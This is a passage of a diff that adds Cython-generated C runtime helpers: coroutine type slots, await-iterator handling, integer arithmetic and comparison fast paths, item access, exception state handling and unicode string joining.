&__pyx_Coroutine_as_async, +#else + 0, +#endif + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_HAVE_FINALIZE, + 0, + (traverseproc) __Pyx_Coroutine_traverse, + 0, +#if CYTHON_USE_ASYNC_SLOTS && CYTHON_COMPILING_IN_CPYTHON && PY_MAJOR_VERSION >= 3 && PY_VERSION_HEX < 0x030500B1 + __Pyx_Coroutine_compare, +#else + 0, +#endif + offsetof(__pyx_CoroutineObject, gi_weakreflist), + 0, + 0, + __pyx_Coroutine_methods, + __pyx_Coroutine_memberlist, + __pyx_Coroutine_getsets, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if CYTHON_USE_TP_FINALIZE + 0, +#else + __Pyx_Coroutine_del, +#endif + 0, +#if CYTHON_USE_TP_FINALIZE + __Pyx_Coroutine_del, +#elif PY_VERSION_HEX >= 0x030400a1 + 0, +#endif +#if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, +#endif +#if __PYX_NEED_TP_PRINT_SLOT + 0, +#endif +#if PY_VERSION_HEX >= 0x030C0000 + 0, +#endif +#if PY_VERSION_HEX >= 0x030d00A4 + 0, +#endif +#if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, +#endif +}; +#endif +static int __pyx_Coroutine_init(PyObject *module) { + CYTHON_MAYBE_UNUSED_VAR(module); +#if CYTHON_USE_TYPE_SPECS + __pyx_CoroutineType = __Pyx_FetchCommonTypeFromSpec(module, &__pyx_CoroutineType_spec, NULL); +#else + __pyx_CoroutineType_type.tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + __pyx_CoroutineType = __Pyx_FetchCommonType(&__pyx_CoroutineType_type); +#endif + if (unlikely(!__pyx_CoroutineType)) + return -1; +#ifdef __Pyx_IterableCoroutine_USED + if (unlikely(__pyx_IterableCoroutine_init(module) == -1)) + return -1; +#endif +#if CYTHON_USE_TYPE_SPECS + __pyx_CoroutineAwaitType = __Pyx_FetchCommonTypeFromSpec(module, &__pyx_CoroutineAwaitType_spec, NULL); +#else + __pyx_CoroutineAwaitType = __Pyx_FetchCommonType(&__pyx_CoroutineAwaitType_type); +#endif + if (unlikely(!__pyx_CoroutineAwaitType)) + return -1; + return 0; +} + +/* GetAwaitIter */ +static CYTHON_INLINE PyObject *__Pyx_Coroutine_GetAwaitableIter(PyObject *o) { +#ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(o)) { + return __Pyx_NewRef(o); + } +#endif + return __Pyx__Coroutine_GetAwaitableIter(o); +} +static void __Pyx_Coroutine_AwaitableIterError(PyObject *source) { +#if PY_VERSION_HEX >= 0x030600B3 && PY_VERSION_HEX < 0x030d0000 || defined(_PyErr_FormatFromCause) + __Pyx_TypeName source_type_name = __Pyx_PyType_GetName(Py_TYPE(source)); + _PyErr_FormatFromCause(PyExc_TypeError, + "'async for' received an invalid object from __anext__: " __Pyx_FMT_TYPENAME, source_type_name); + __Pyx_DECREF_TypeName(source_type_name); +#elif PY_MAJOR_VERSION >= 3 + PyObject *exc, *val, *val2, *tb; + __Pyx_TypeName source_type_name = __Pyx_PyType_GetName(Py_TYPE(source)); + assert(PyErr_Occurred()); + PyErr_Fetch(&exc, &val, &tb); + PyErr_NormalizeException(&exc, &val, &tb); + if (tb != NULL) { + PyException_SetTraceback(val, tb); + Py_DECREF(tb); + } + Py_DECREF(exc); + assert(!PyErr_Occurred()); + PyErr_Format(PyExc_TypeError, + "'async for' received an invalid object from __anext__: " __Pyx_FMT_TYPENAME, source_type_name); + __Pyx_DECREF_TypeName(source_type_name); + PyErr_Fetch(&exc, &val2, &tb); + PyErr_NormalizeException(&exc, &val2, &tb); + Py_INCREF(val); + PyException_SetCause(val2, val); + PyException_SetContext(val2, val); + PyErr_Restore(exc, val2, tb); +#else + CYTHON_UNUSED_VAR(source); +#endif +} +static PyObject *__Pyx__Coroutine_GetAwaitableIter(PyObject *obj) { + PyObject *res; +#if CYTHON_USE_ASYNC_SLOTS + __Pyx_PyAsyncMethodsStruct* am = __Pyx_PyType_AsAsync(obj); + if (likely(am && am->am_await)) { + res = (*am->am_await)(obj); + } else +#endif +#if PY_VERSION_HEX >= 0x030500B2 || defined(PyCoro_CheckExact) + if (PyCoro_CheckExact(obj)) { + return __Pyx_NewRef(obj); + } else +#endif +#if CYTHON_COMPILING_IN_CPYTHON && defined(CO_ITERABLE_COROUTINE) +#if PY_VERSION_HEX >= 0x030C00A6 + if (PyGen_CheckExact(obj) && (PyGen_GetCode((PyGenObject*)obj)->co_flags & CO_ITERABLE_COROUTINE)) { +#else + if (PyGen_CheckExact(obj) && ((PyGenObject*)obj)->gi_code && ((PyCodeObject *)((PyGenObject*)obj)->gi_code)->co_flags & CO_ITERABLE_COROUTINE) { +#endif + return __Pyx_NewRef(obj); + } else +#endif + { + PyObject *method = NULL; + int is_method = __Pyx_PyObject_GetMethod(obj, __pyx_n_s_await, &method); + if (likely(is_method)) { + res = __Pyx_PyObject_CallOneArg(method, obj); + } else if (likely(method)) { + res = __Pyx_PyObject_CallNoArg(method); + } else + goto slot_error; + Py_DECREF(method); + } + if (unlikely(!res)) { + __Pyx_Coroutine_AwaitableIterError(obj); + goto bad; + } + if (unlikely(!PyIter_Check(res))) { + __Pyx_TypeName res_type_name = __Pyx_PyType_GetName(Py_TYPE(res)); + PyErr_Format(PyExc_TypeError, + "__await__() returned non-iterator of type '" __Pyx_FMT_TYPENAME "'", res_type_name); + __Pyx_DECREF_TypeName(res_type_name); + Py_CLEAR(res); + } else { + int is_coroutine = 0; + #ifdef __Pyx_Coroutine_USED + is_coroutine |= __Pyx_Coroutine_Check(res); + #endif + #if PY_VERSION_HEX >= 0x030500B2 || defined(PyCoro_CheckExact) + is_coroutine |= PyCoro_CheckExact(res); + #endif + if (unlikely(is_coroutine)) { + /* __await__ must return an *iterator*, not + a coroutine or another awaitable (see PEP 492) */ + PyErr_SetString(PyExc_TypeError, + "__await__() returned a coroutine"); + Py_CLEAR(res); + } + } + return res; +slot_error: + { + __Pyx_TypeName obj_type_name = __Pyx_PyType_GetName(Py_TYPE(obj)); + PyErr_Format(PyExc_TypeError, + "object " __Pyx_FMT_TYPENAME " can't be used in 'await' expression", obj_type_name); + __Pyx_DECREF_TypeName(obj_type_name); + } +bad: + return NULL; +} + +/* CoroutineYieldFrom */ + static PyObject* __Pyx__Coroutine_Yield_From_Generic(__pyx_CoroutineObject *gen, PyObject *source) { + PyObject *retval; + PyObject *source_gen = __Pyx__Coroutine_GetAwaitableIter(source); + if (unlikely(!source_gen)) { + return NULL; + } + if (__Pyx_Coroutine_Check(source_gen)) { + retval = __Pyx_Generator_Next(source_gen); + } else { + retval = __Pyx_PyObject_GetIterNextFunc(source_gen)(source_gen); + } + if (retval) { + gen->yieldfrom = source_gen; + return retval; + } + Py_DECREF(source_gen); + return NULL; +} +static CYTHON_INLINE PyObject* __Pyx_Coroutine_Yield_From(__pyx_CoroutineObject *gen, PyObject *source) { + PyObject *retval; + if (__Pyx_Coroutine_Check(source)) { + if (unlikely(((__pyx_CoroutineObject*)source)->yieldfrom)) { + PyErr_SetString( + PyExc_RuntimeError, + "coroutine is being awaited already"); + return NULL; + } + retval = __Pyx_Generator_Next(source); +#ifdef __Pyx_AsyncGen_USED + } else if (__pyx_PyAsyncGenASend_CheckExact(source)) { + retval = __Pyx_async_gen_asend_iternext(source); +#endif + } else { + return __Pyx__Coroutine_Yield_From_Generic(gen, source); + } + if (retval) { + Py_INCREF(source); + gen->yieldfrom = source; + } + return retval; +} + +/* PyIntBinop */ + #if !CYTHON_COMPILING_IN_PYPY +static PyObject* __Pyx_PyInt_AddObjC(PyObject *op1, PyObject *op2, long intval, int inplace, int zerodivision_check) { + CYTHON_MAYBE_UNUSED_VAR(intval); + CYTHON_MAYBE_UNUSED_VAR(inplace); + CYTHON_UNUSED_VAR(zerodivision_check); + #if PY_MAJOR_VERSION < 3 + if (likely(PyInt_CheckExact(op1))) { + const long b = intval; + long x; + long a = PyInt_AS_LONG(op1); + + x = (long)((unsigned long)a + (unsigned long)b); + if (likely((x^a) >= 0 || (x^b) >= 0)) + return PyInt_FromLong(x); + return PyLong_Type.tp_as_number->nb_add(op1, op2); + } + #endif + #if CYTHON_USE_PYLONG_INTERNALS + if (likely(PyLong_CheckExact(op1))) { + const long b = intval; + long a, x; +#ifdef HAVE_LONG_LONG + const PY_LONG_LONG llb = intval; + PY_LONG_LONG lla, llx; +#endif + if (unlikely(__Pyx_PyLong_IsZero(op1))) { + return __Pyx_NewRef(op2); + } + if (likely(__Pyx_PyLong_IsCompact(op1))) { + a = __Pyx_PyLong_CompactValue(op1); + } else { + const digit* digits = __Pyx_PyLong_Digits(op1); + const Py_ssize_t size = __Pyx_PyLong_SignedDigitCount(op1); + switch (size) { + case -2: + if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { + a = -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 2 * PyLong_SHIFT) { + lla = -(PY_LONG_LONG) (((((unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case 2: + if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { + a = (long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 2 * PyLong_SHIFT) { + lla = (PY_LONG_LONG) (((((unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case -3: + if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { + a = -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 3 * PyLong_SHIFT) { + lla = -(PY_LONG_LONG) (((((((unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case 3: + if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { + a = (long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 3 * PyLong_SHIFT) { + lla = (PY_LONG_LONG) (((((((unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case -4: + if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { + a = -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 4 * PyLong_SHIFT) { + lla = -(PY_LONG_LONG) (((((((((unsigned PY_LONG_LONG)digits[3]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case 4: + if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { + a = (long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 4 * PyLong_SHIFT) { + lla = (PY_LONG_LONG) (((((((((unsigned PY_LONG_LONG)digits[3]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + default: return PyLong_Type.tp_as_number->nb_add(op1, op2); + } + } + x = a + b; + return PyLong_FromLong(x); +#ifdef HAVE_LONG_LONG + long_long: + llx = lla + llb; + return PyLong_FromLongLong(llx); +#endif + + + } + #endif + if (PyFloat_CheckExact(op1)) { + const long b = intval; +#if CYTHON_COMPILING_IN_LIMITED_API + double a = __pyx_PyFloat_AsDouble(op1); +#else + double a = PyFloat_AS_DOUBLE(op1); +#endif + double result; + + PyFPE_START_PROTECT("add", return NULL) + result = ((double)a) + (double)b; + PyFPE_END_PROTECT(result) + return PyFloat_FromDouble(result); + } + return (inplace ? PyNumber_InPlaceAdd : PyNumber_Add)(op1, op2); +} +#endif + +/* GetItemInt */ + static PyObject *__Pyx_GetItemInt_Generic(PyObject *o, PyObject* j) { + PyObject *r; + if (unlikely(!j)) return NULL; + r = PyObject_GetItem(o, j); + Py_DECREF(j); + return r; +} +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_List_Fast(PyObject *o, Py_ssize_t i, + CYTHON_NCP_UNUSED int wraparound, + CYTHON_NCP_UNUSED int boundscheck) { +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + Py_ssize_t wrapped_i = i; + if (wraparound & unlikely(i < 0)) { + wrapped_i += PyList_GET_SIZE(o); + } + if ((!boundscheck) || likely(__Pyx_is_valid_index(wrapped_i, PyList_GET_SIZE(o)))) { + PyObject *r = PyList_GET_ITEM(o, wrapped_i); + Py_INCREF(r); + return r; + } + return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); +#else + return PySequence_GetItem(o, i); +#endif +} +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Tuple_Fast(PyObject *o, Py_ssize_t i, + CYTHON_NCP_UNUSED int wraparound, + CYTHON_NCP_UNUSED int boundscheck) { +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + Py_ssize_t wrapped_i = i; + if (wraparound & unlikely(i < 0)) { + wrapped_i += PyTuple_GET_SIZE(o); + } + if ((!boundscheck) || likely(__Pyx_is_valid_index(wrapped_i, PyTuple_GET_SIZE(o)))) { + PyObject *r = PyTuple_GET_ITEM(o, wrapped_i); + Py_INCREF(r); + return r; + } + return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); +#else + return PySequence_GetItem(o, i); +#endif +} +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Fast(PyObject *o, Py_ssize_t i, int is_list, + CYTHON_NCP_UNUSED int wraparound, + CYTHON_NCP_UNUSED int boundscheck) { +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS && CYTHON_USE_TYPE_SLOTS + if (is_list || PyList_CheckExact(o)) { + Py_ssize_t n = ((!wraparound) | likely(i >= 0)) ? i : i + PyList_GET_SIZE(o); + if ((!boundscheck) || (likely(__Pyx_is_valid_index(n, PyList_GET_SIZE(o))))) { + PyObject *r = PyList_GET_ITEM(o, n); + Py_INCREF(r); + return r; + } + } + else if (PyTuple_CheckExact(o)) { + Py_ssize_t n = ((!wraparound) | likely(i >= 0)) ? i : i + PyTuple_GET_SIZE(o); + if ((!boundscheck) || likely(__Pyx_is_valid_index(n, PyTuple_GET_SIZE(o)))) { + PyObject *r = PyTuple_GET_ITEM(o, n); + Py_INCREF(r); + return r; + } + } else { + PyMappingMethods *mm = Py_TYPE(o)->tp_as_mapping; + PySequenceMethods *sm = Py_TYPE(o)->tp_as_sequence; + if (mm && mm->mp_subscript) { + PyObject *r, *key = PyInt_FromSsize_t(i); + if (unlikely(!key)) return NULL; + r = mm->mp_subscript(o, key); + Py_DECREF(key); + return r; + } + if (likely(sm && sm->sq_item)) { + if (wraparound && unlikely(i < 0) && likely(sm->sq_length)) { + Py_ssize_t l = sm->sq_length(o); + if (likely(l >= 0)) { + i += l; + } else { + if (!PyErr_ExceptionMatches(PyExc_OverflowError)) + return NULL; + PyErr_Clear(); + } + } + return sm->sq_item(o, i); + } + } +#else + if (is_list || !PyMapping_Check(o)) { + return PySequence_GetItem(o, i); + } +#endif + return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); +} + +/* ObjectGetItem */ + #if CYTHON_USE_TYPE_SLOTS +static PyObject *__Pyx_PyObject_GetIndex(PyObject *obj, PyObject *index) { + PyObject *runerr = NULL; + Py_ssize_t key_value; + key_value = __Pyx_PyIndex_AsSsize_t(index); + if (likely(key_value != -1 || !(runerr = PyErr_Occurred()))) { + return __Pyx_GetItemInt_Fast(obj, key_value, 0, 1, 1); + } + if (PyErr_GivenExceptionMatches(runerr, PyExc_OverflowError)) { + __Pyx_TypeName index_type_name = __Pyx_PyType_GetName(Py_TYPE(index)); + PyErr_Clear(); + PyErr_Format(PyExc_IndexError, + "cannot fit '" __Pyx_FMT_TYPENAME "' into an index-sized integer", index_type_name); + __Pyx_DECREF_TypeName(index_type_name); + } + return NULL; +} +static PyObject *__Pyx_PyObject_GetItem_Slow(PyObject *obj, PyObject *key) { + __Pyx_TypeName obj_type_name; + if (likely(PyType_Check(obj))) { + PyObject *meth = __Pyx_PyObject_GetAttrStrNoError(obj, __pyx_n_s_class_getitem); + if (!meth) { + PyErr_Clear(); + } else { + PyObject *result = __Pyx_PyObject_CallOneArg(meth, key); + Py_DECREF(meth); + return result; + } + } + obj_type_name = __Pyx_PyType_GetName(Py_TYPE(obj)); + PyErr_Format(PyExc_TypeError, + "'" __Pyx_FMT_TYPENAME "' object is not subscriptable", obj_type_name); + __Pyx_DECREF_TypeName(obj_type_name); + return NULL; +} +static PyObject *__Pyx_PyObject_GetItem(PyObject *obj, PyObject *key) { + PyTypeObject *tp = Py_TYPE(obj); + PyMappingMethods *mm = tp->tp_as_mapping; + PySequenceMethods *sm = tp->tp_as_sequence; + if (likely(mm && mm->mp_subscript)) { + return mm->mp_subscript(obj, key); + } + if (likely(sm && sm->sq_item)) { + return __Pyx_PyObject_GetIndex(obj, key); + } + return __Pyx_PyObject_GetItem_Slow(obj, key); +} +#endif + +/* DictGetItem */ + #if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY +static PyObject *__Pyx_PyDict_GetItem(PyObject *d, PyObject* key) { + PyObject *value; + value = PyDict_GetItemWithError(d, key); + if (unlikely(!value)) { + if (!PyErr_Occurred()) { + if (unlikely(PyTuple_Check(key))) { + PyObject* args = PyTuple_Pack(1, key); + if (likely(args)) { + PyErr_SetObject(PyExc_KeyError, args); + Py_DECREF(args); + } + } else { + PyErr_SetObject(PyExc_KeyError, key); + } + } + return NULL; + } + Py_INCREF(value); + return value; +} +#endif + +/* PyIntCompare */ + static CYTHON_INLINE int __Pyx_PyInt_BoolEqObjC(PyObject *op1, PyObject *op2, long intval, long inplace) { + CYTHON_MAYBE_UNUSED_VAR(intval); + CYTHON_UNUSED_VAR(inplace); + if (op1 == op2) { + return 1; + } + #if PY_MAJOR_VERSION < 3 + if (likely(PyInt_CheckExact(op1))) { + const long b = intval; + long a = PyInt_AS_LONG(op1); + return (a == b); + } + #endif + #if CYTHON_USE_PYLONG_INTERNALS + if (likely(PyLong_CheckExact(op1))) { + int unequal; + unsigned long uintval; + Py_ssize_t size = __Pyx_PyLong_DigitCount(op1); + const digit* digits = __Pyx_PyLong_Digits(op1); + if (intval == 0) { + return (__Pyx_PyLong_IsZero(op1) == 1); + } else if (intval < 0) { + if (__Pyx_PyLong_IsNonNeg(op1)) + return 0; + intval = -intval; + } else { + if (__Pyx_PyLong_IsNeg(op1)) + return 0; + } + uintval = (unsigned long) intval; +#if PyLong_SHIFT * 4 < SIZEOF_LONG*8 + if (uintval >> (PyLong_SHIFT * 4)) { + unequal = (size != 5) || (digits[0] != (uintval & (unsigned long) PyLong_MASK)) + | (digits[1] != ((uintval >> (1 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[2] != ((uintval >> (2 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[3] != ((uintval >> (3 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[4] != ((uintval >> (4 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)); + } else +#endif +#if PyLong_SHIFT * 3 < SIZEOF_LONG*8 + if (uintval >> (PyLong_SHIFT * 3)) { + unequal = (size != 4) || (digits[0] != (uintval & (unsigned long) PyLong_MASK)) + | (digits[1] != ((uintval >> (1 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[2] != ((uintval >> (2 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[3] != ((uintval >> (3 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)); + } else +#endif +#if PyLong_SHIFT * 2 < SIZEOF_LONG*8 + if (uintval >> (PyLong_SHIFT * 2)) { + unequal = (size != 3) || (digits[0] != (uintval & (unsigned long) PyLong_MASK)) + | (digits[1] != ((uintval >> (1 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[2] != ((uintval >> (2 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)); + } else +#endif +#if PyLong_SHIFT * 1 < SIZEOF_LONG*8 + if (uintval >> (PyLong_SHIFT * 1)) { + unequal = (size != 2) || (digits[0] != (uintval & (unsigned long) PyLong_MASK)) + | (digits[1] != ((uintval >> (1 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)); + } else +#endif + unequal = (size != 1) || (((unsigned long) digits[0]) != (uintval & (unsigned long) PyLong_MASK)); + return (unequal == 0); + } + #endif + if (PyFloat_CheckExact(op1)) { + const long b = intval; +#if CYTHON_COMPILING_IN_LIMITED_API + double a = __pyx_PyFloat_AsDouble(op1); +#else + double a = PyFloat_AS_DOUBLE(op1); +#endif + return ((double)a == (double)b); + } + return __Pyx_PyObject_IsTrueAndDecref( + PyObject_RichCompare(op1, op2, Py_EQ)); +} + +/* GetException */ + #if CYTHON_FAST_THREAD_STATE +static int __Pyx__GetException(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) +#else +static int __Pyx_GetException(PyObject **type, PyObject **value, PyObject **tb) +#endif +{ + PyObject *local_type = NULL, *local_value, *local_tb = NULL; +#if CYTHON_FAST_THREAD_STATE + PyObject *tmp_type, *tmp_value, *tmp_tb; + #if PY_VERSION_HEX >= 0x030C00A6 + local_value = tstate->current_exception; + tstate->current_exception = 0; + if (likely(local_value)) { + local_type = (PyObject*) Py_TYPE(local_value); + Py_INCREF(local_type); + local_tb = PyException_GetTraceback(local_value); + } + #else + local_type = tstate->curexc_type; + local_value = tstate->curexc_value; + local_tb = tstate->curexc_traceback; + tstate->curexc_type = 0; + tstate->curexc_value = 0; + tstate->curexc_traceback = 0; + #endif +#else + PyErr_Fetch(&local_type, &local_value, &local_tb); +#endif + PyErr_NormalizeException(&local_type, &local_value, &local_tb); +#if CYTHON_FAST_THREAD_STATE && PY_VERSION_HEX >= 0x030C00A6 + if (unlikely(tstate->current_exception)) +#elif CYTHON_FAST_THREAD_STATE + if (unlikely(tstate->curexc_type)) +#else + if (unlikely(PyErr_Occurred())) +#endif + goto bad; + #if PY_MAJOR_VERSION >= 3 + if (local_tb) { + if (unlikely(PyException_SetTraceback(local_value, local_tb) < 0)) + goto bad; + } + #endif + Py_XINCREF(local_tb); + Py_XINCREF(local_type); + Py_XINCREF(local_value); + *type = local_type; + *value = local_value; + *tb = local_tb; +#if CYTHON_FAST_THREAD_STATE + #if CYTHON_USE_EXC_INFO_STACK + { + _PyErr_StackItem *exc_info = tstate->exc_info; + #if PY_VERSION_HEX >= 0x030B00a4 + tmp_value = exc_info->exc_value; + exc_info->exc_value = local_value; + tmp_type = NULL; + tmp_tb = NULL; + Py_XDECREF(local_type); + Py_XDECREF(local_tb); + #else + tmp_type = exc_info->exc_type; + tmp_value = exc_info->exc_value; + tmp_tb = exc_info->exc_traceback; + exc_info->exc_type = local_type; + exc_info->exc_value = local_value; + exc_info->exc_traceback = local_tb; + #endif + } + #else + tmp_type = tstate->exc_type; + tmp_value = tstate->exc_value; + tmp_tb = tstate->exc_traceback; + tstate->exc_type = local_type; + tstate->exc_value = local_value; + tstate->exc_traceback = local_tb; + #endif + Py_XDECREF(tmp_type); + Py_XDECREF(tmp_value); + Py_XDECREF(tmp_tb); +#else + PyErr_SetExcInfo(local_type, local_value, local_tb); +#endif + return 0; +bad: + *type = 0; + *value = 0; + *tb = 0; + Py_XDECREF(local_type); + Py_XDECREF(local_value); + Py_XDECREF(local_tb); + return -1; +} + +/* pep479 */ + static void __Pyx_Generator_Replace_StopIteration(int in_async_gen) { + PyObject *exc, *val, *tb, *cur_exc; + __Pyx_PyThreadState_declare + #ifdef __Pyx_StopAsyncIteration_USED + int is_async_stopiteration = 0; + #endif + CYTHON_MAYBE_UNUSED_VAR(in_async_gen); + cur_exc = PyErr_Occurred(); + if (likely(!__Pyx_PyErr_GivenExceptionMatches(cur_exc, PyExc_StopIteration))) { + #ifdef __Pyx_StopAsyncIteration_USED + if (in_async_gen && unlikely(__Pyx_PyErr_GivenExceptionMatches(cur_exc, __Pyx_PyExc_StopAsyncIteration))) { + is_async_stopiteration = 1; + } else + #endif + return; + } + __Pyx_PyThreadState_assign + __Pyx_GetException(&exc, &val, &tb); + Py_XDECREF(exc); + Py_XDECREF(val); + Py_XDECREF(tb); + PyErr_SetString(PyExc_RuntimeError, + #ifdef __Pyx_StopAsyncIteration_USED + is_async_stopiteration ? "async generator raised StopAsyncIteration" : + in_async_gen ? "async generator raised StopIteration" : + #endif + "generator raised StopIteration"); +} + +/* JoinPyUnicode */ + static PyObject* __Pyx_PyUnicode_Join(PyObject* value_tuple, Py_ssize_t value_count, Py_ssize_t result_ulength, + Py_UCS4 max_char) { +#if CYTHON_USE_UNICODE_INTERNALS && CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + PyObject *result_uval; + int result_ukind, kind_shift; + Py_ssize_t i, char_pos; + void *result_udata; + CYTHON_MAYBE_UNUSED_VAR(max_char); +#if CYTHON_PEP393_ENABLED + result_uval = PyUnicode_New(result_ulength, max_char); + if (unlikely(!result_uval)) return NULL; + result_ukind = (max_char <= 255) ? PyUnicode_1BYTE_KIND : (max_char <= 65535) ? PyUnicode_2BYTE_KIND : PyUnicode_4BYTE_KIND; + kind_shift = (result_ukind == PyUnicode_4BYTE_KIND) ? 2 : result_ukind - 1; + result_udata = PyUnicode_DATA(result_uval); +#else + result_uval = PyUnicode_FromUnicode(NULL, result_ulength); + if (unlikely(!result_uval)) return NULL; + result_ukind = sizeof(Py_UNICODE); + kind_shift = (result_ukind == 4) ? 2 : result_ukind - 1; + result_udata = PyUnicode_AS_UNICODE(result_uval); +#endif + assert(kind_shift == 2 || kind_shift == 1 || kind_shift == 0); + char_pos = 0; + for (i=0; i < value_count; i++) { + int ukind; + Py_ssize_t ulength; + void *udata; + PyObject *uval = PyTuple_GET_ITEM(value_tuple, i); + if (unlikely(__Pyx_PyUnicode_READY(uval))) + goto bad; + ulength = __Pyx_PyUnicode_GET_LENGTH(uval); + if (unlikely(!ulength)) + continue; + if (unlikely((PY_SSIZE_T_MAX >> kind_shift) - ulength < char_pos)) + goto overflow; + ukind = __Pyx_PyUnicode_KIND(uval); + udata = __Pyx_PyUnicode_DATA(uval); + if (!CYTHON_PEP393_ENABLED || ukind == result_ukind) { + memcpy((char *)result_udata + (char_pos << kind_shift), udata, (size_t) (ulength << kind_shift)); + } else { + #if PY_VERSION_HEX >= 0x030d0000 + if (unlikely(PyUnicode_CopyCharacters(result_uval, char_pos, uval, 0, ulength) < 0)) goto bad; + #elif CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030300F0 || defined(_PyUnicode_FastCopyCharacters) + _PyUnicode_FastCopyCharacters(result_uval, char_pos, uval, 0, ulength); + #else + Py_ssize_t j; + for (j=0; j < ulength; j++) { + Py_UCS4 uchar = __Pyx_PyUnicode_READ(ukind, udata, j); + __Pyx_PyUnicode_WRITE(result_ukind, result_udata, char_pos+j, uchar); + } + #endif + } + char_pos += ulength; + } + return result_uval; +overflow: + PyErr_SetString(PyExc_OverflowError, "join() result is too long for a Python string"); +bad: + Py_DECREF(result_uval); + return NULL; +#else + CYTHON_UNUSED_VAR(max_char); + CYTHON_UNUSED_VAR(result_ulength); + CYTHON_UNUSED_VAR(value_count); + return PyUnicode_Join(__pyx_empty_unicode, value_tuple); +#endif +} + +/* UnicodeConcatInPlace */ + # if CYTHON_COMPILING_IN_CPYTHON && PY_MAJOR_VERSION >= 3 +static int +__Pyx_unicode_modifiable(PyObject *unicode) +{ + if (Py_REFCNT(unicode) != 1) + return 0; + if (!PyUnicode_CheckExact(unicode)) + return 0; + if (PyUnicode_CHECK_INTERNED(unicode)) + return 0; + return 1; +} +static CYTHON_INLINE PyObject 